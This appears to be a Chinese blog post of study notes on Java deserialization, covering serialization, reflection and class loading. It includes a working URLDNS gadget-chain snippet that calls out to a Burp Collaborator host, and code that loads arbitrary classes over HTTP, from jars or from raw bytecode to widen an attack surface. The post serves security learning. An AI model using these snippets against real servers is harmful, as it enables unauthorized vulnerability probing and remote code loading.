Java反序列化基础

Java入门的简单基础,包括序列化反序列化、反射、类的动态加载,动态代理暂时还没用到,后面用到再加上。

序列化和反序列化

Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

用处

  • 想把内存中的对象保存到一个文件中或者数据库中时候;
  • 想用套接字在网络上传送对象的时候;
  • 想通过RMI传输对象的时候

实现

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

通过 ObjectOutStream 包装 FileOutStream或者ByteArrayInputStream

image-20211202160433241

同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象

ObjectOutputStream代表对象输出流:

  • 它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。

ObjectInputStream代表对象输入流:

  • 它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

例子

Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public class Person implements Serializable {
    private String name;
    private int age;

    public Person(){}

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

SerializeTest.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class SerializeTest {

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("person.ser"));
        objectOutputStream.writeObject(obj);
    }

    public static void main(String[] args) throws IOException {
        Person person = new Person("a",22);
//        System.out.println(person);
        serialize(person);
    }
}

Unserialize.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class UnserializeTest {
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = (Person) unserialize("person.ser");
        System.out.println(person);
    }
}

其他需要注意的点

  1. 静态成员变量是不能被序列化
  2. transient 标识的对象成员变量不参与序列化

重写writeObject和readObject方法

使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。

example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

public class MyList implements Serializable {
 
    private String name;
 
 
    /*
    transient 表示该成员 arr 不需要被序列化
     */
    private transient Object[] arr;
 
    public MyList() {
    }
 
    public MyList(String name) {
        this.name = name;
        this.arr = new Object[100];
        /*
        给前面30个元素进行初始化
         */
        for (int i = 0; i < 30; i++) {
            this.arr[i] = i;
        }
    }
 
    @Override
    public String toString() {
        return "MyList{" +
                "name='" + name + '\'' +
                ", arr=" + Arrays.toString(arr) +
                '}';
    }
 
 
    //-------------------------- 自定义序列化反序列化 arr 元素 ------------------
 
    /**
     * Save the state of the <tt>ArrayList</tt> instance to a stream (that
     * is, serialize it).
     *
     * @serialData The length of the array backing the <tt>ArrayList</tt>
     * instance is emitted (int), followed by all of its elements
     * (each an <tt>Object</tt>) in the proper order.
     */
    private void writeObject(java.io.ObjectOutputStream s)
            throws java.io.IOException {
        //执行 JVM 默认的序列化操作
        s.defaultWriteObject();
 
 
        //手动序列化 arr  前面30个元素
        for (int i = 0; i < 30; i++) {
            s.writeObject(arr[i]);
        }
    }
 
    /**
     * Reconstitute the <tt>ArrayList</tt> instance from a stream (that is,
     * deserialize it).
     */
    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
 
        s.defaultReadObject();
        arr = new Object[30];
 
        // Read in all elements in the proper order.
        for (int i = 0; i < 30; i++) {
            arr[i] = s.readObject();
        }
    }
}

安全问题的产生

只要服务端反序列化数据,客户端传递的类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式

  1. 入口类的readObject直接调用危险方法。
  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用。
  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。
  4. 构造函数/静态代码块等在类加载时隐式执行

利用

  1. 入口类
    • 重写readObject
    • readObject调用常见函数
    • 参数类型宽泛
    • 最好jdk自带
  2. 调用链 gadget chain
    • 相同名称,相同类型
  3. 执行类

URLDNS

最简单的链,检测反序列化位点

1
2
3
4
5
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

然而put的时候直接调用了hashCode,需要通过反射改变已有对象的属性。

注意,java有dns缓存,所以同一个url,只会dns解析一次,后面都会直接在缓存里面找

拓展

Serializable 接口

一个对象想要被序列化,那么它的类就要实现此接口或者它的子接口。

这个对象的所有属性(包括private属性、包括其引用的对象)都可以被序列化和反序列化来保存、传递。不想序列化的字段可以使用transient修饰。

由于Serializable对象完全以它存储的二进制位为基础来构造,因此并不会调用任何构造函数,因此Serializable类无需默认构造函数,但是当Serializable类的父类没有实现Serializable接口时,反序列化过程会调用父类的默认构造函数,因此该父类必需有默认构造函数,否则会抛异常。

使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。

Externalizable 接口

它是Serializable接口的子类,用户要实现的writeExternal()和readExternal() 方法,用来决定如何序列化和反序列化。

因为序列化和反序列化方法需要自己实现,因此可以指定序列化哪些属性,而transient在这里无效。

对Externalizable对象反序列化时,会先调用类的无参构造方法,这是有别于默认反序列方式的。如果把类的不带参数的构造方法删除,或者把该构造方法的访问权限设置为private、默认或protected级别,会抛出java.io.InvalidException: no valid constructor异常,因此Externalizable对象必须有默认构造函数,而且必需是public的。

反射

Java 的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法; 并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。

总的来时,反射赋予Java动态特性

反射的基本使用

获取Class对象
  1. 使用Class.forName 静态方法

    1
    
    Class class1 = Class.forName("Person");
    
  2. 使用类的.class静态属性

    1
    
    Class class2 = Person.class;
    
  3. 使用实例对象的getClass()方法

    1
    2
    
    Person person = new Person();
    Class class3 = person.getClass();
    
  4. 通过ClassLoader获取

    1
    2
    
    ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
            Class<?> c = systemClassLoader.loadClass("Person");
    
创造实例对象
  1. 通过Class的newInstance()方法
  2. 通过Constructor的newInstance()方法
1
2
3
4
5
6
7
8
9
//方式一
Class class1 = Class.forName("reflection.Student");
Student student = (Student) class1.newInstance();
System.out.println(student);

//方式二
Constructor constructor = class1.getConstructor();
Student student1 = (Student) constructor.newInstance();
System.out.println(student1);

方法一只能调用无参构造函数,一般不用

获取类的成员变量
1
2
3
4
getField()
getDeclaredField()
getFields()
getDeclaredFields()
修改成员变量
1
Field.set(Object obj,Object value)

如何修改私有变量?

1
Field.setAccessible(true);
获取类的方法
1
2
3
4
getMethod(String name, Class<?>... parameterTypes)
getMethods()
getDeclaredMethod()
getDeclaredMethods()
调用类的方法
1
invoke(Object obj, Object... args)

setAccessible同理

回到URLDNS

put之前修改hashCode属性不为-1;put之后,反序列化之前修改hashCode属性为-1

1
2
3
4
5
6
7
8
9
HashMap<URL,Integer> hashMap = new HashMap<>();
        URL url = new URL("http://y21jgo6y2e6rmwv062dgrkf2ctik69.burpcollaborator.net");
        Class c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,123);
        hashMap.put(url,1);
        hashCodeField.set(url,-1);
        serialize(hashMap);

应用

  • 定制需要的对象
  • 通过invoke调用除了同名函数之外的函数
  • 通过Class类创建对象,引入不能序列化的类

类的动态加载

类的加载机制

Java虚拟机把描述类的数据从Class文件加载到内存,并对数据进行校验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这个过程被称作虚拟机的类加载机制。

类的生命周期

类从被加载到虚拟机内存中开始,到卸载出内存为止,它的整个生命周期包括:加载,验证,准备,解析,初始化,使用,卸载这7个阶段.其中其中验证、准备、解析3个部分统称为连接

image-20211203095022058

  1. 加载:查找并加载类的二进制数据
  2. 验证:确保被加载的类的正确性
  3. 准备:为类的静态变量分配内存,并将其初始化为默认值
  4. 解析:把类中的符号引用转换为直接引用
  5. 初始化:对类的静态变量,静态代码块执行初始化操作
  6. 使用:类访问方法区内的数据结构的接口, 对象是Heap区的数据。
  7. 卸载

类加载器

虚拟机设计团队把类加载阶段中的“通过一个类的全限定名来获取描述此类的二进制字节流”这个动作放到Java虚拟机外部去实现,以便让应用程序自己决定如何去获取所需要的类。 实现这个动作的代码模块称为“类加载器”。

类加载的三种方式

  1. 命令行启动应用时候由JVM初始化加载
  2. 通过Class.forName()方法动态加载
  3. 通过ClassLoader.loadClass()方法动态加载

.classgetClass()使用之前类均已加载完毕

类加载机制

类的双亲委派机制

双亲委派模型的工作过程是:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的类加载器都是如此,因此所有的加载请求最终都应该传送到最顶层的启动类加载器中,只有当父加载器反馈自己无法完成这个加载请求(它的搜索范围中没有找到所需的类)时,子加载器才会尝试自己去完成加载。

image-20211203104850877

启动类加载器(Bootstrap ClassLoader)

这个类将器负责将存放在<JAVA_HOME>\lib目录中的,或者被-Xbootclasspath参数所指定的路径中的,并且是虚拟机识别的(按照文件名识别,如rt.jar、tools.jar,名字不符合的类库即使放在lib目录中也不会被加载)类库加载到虚拟机内存中。

扩展类加载器(Extension ClassLoader)

这个加载器由sun.misc.Launcher$ExtClassLoader实现,它负责加载<JAVA_HOME>\lib\ext目录中的,或者被java.ext.dirs系统变量所指定的路径中的所有类库,开发者可以直接使用扩展类加载器。

应用程序类加载器(Application ClassLoader)

这个类加载器由sun.misc.Launcher$AppClassLoader来实现。由于应用程序类加载器是ClassLoader类中的getSystem-ClassLoader()方法的返回值,所以有些场合中也称它为“系统类加载器”。

它负责加载用户类路径(ClassPath)上所有的类库,开发者同样可以直接在代码中使用这个类加载器。如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。

我们的应用程序都是由这3种类加载器互相配合进行加载的,如果有必要,还可以加入自己定义的类加载器。

举例如下:
  1. 当AppClassLoader加载一个class时,它首先不会自己去尝试加载这个类,而是把类加载请求委派给父类加载器ExtClassLoader去完成。
  2. 当ExtClassLoader加载一个class时,它首先也不会自己去尝试加载这个类,而是把类加载请求委派给BootStrapClassLoader去完成。
  3. 如果BootStrapClassLoader加载失败(例如在$JAVA_HOME/jre/lib里未查找到该class),会使用ExtClassLoader来尝试加载;
  4. 若ExtClassLoader也加载失败,则会使用AppClassLoader来加载,如果AppClassLoader也加载失败,则会报出异常ClassNotFoundException。

类加载与代码执行

JVM初始化加载

初始化:静态代码块

实例化:构造代码块、无参构造函数

动态加载

Class.forname:初始化/不初始化皆可

ClassLoader.loadClass:不进行初始化

加载任意类

加载自己的恶意类,拓展攻击面

分析
1
2
继承关系:
ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader
1
2
调用链:
loadClass->findClass->defineClass
利用
  1. URLClassLoader任意类加载:file/http/jar

    1
    2
    3
    4
    5
    
    //        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:\\tmp\\")});
    //        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:8888/")});
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///C:\\tmp\\Hello.jar!/")});
            Class<?> c1 = urlClassLoader.loadClass("Hello");
            c1.newInstance();
    
  2. ClassLoader.defineClass 字节码加载任意类

    1
    2
    3
    4
    
    Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClassMethod.setAccessible(true);
            byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Hello.class"));
            defineClassMethod.invoke(systemClassLoader,"Hello",code,0,code.length);
    

maven踩坑

  • 中文官网下载jdk的链接有问题,需要去英文官网才正常
  • 只有使用idea自带的maven才可以download source,否则会报错:Sources not found for: commons-collections:commons-collections:3.2.1

参考

白日梦组长的个人空间_哔哩哔哩_bilibili

(2条消息) java序列化与反序列化全讲解_mocas_wang的博客-CSDN博客_java序列化讲解

谈谈Java反射:从入门到实践,再到原理 - 掘金 (juejin.cn)

关于JVM类加载机制,看这一篇就够了 - 掘金 (juejin.cn)

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy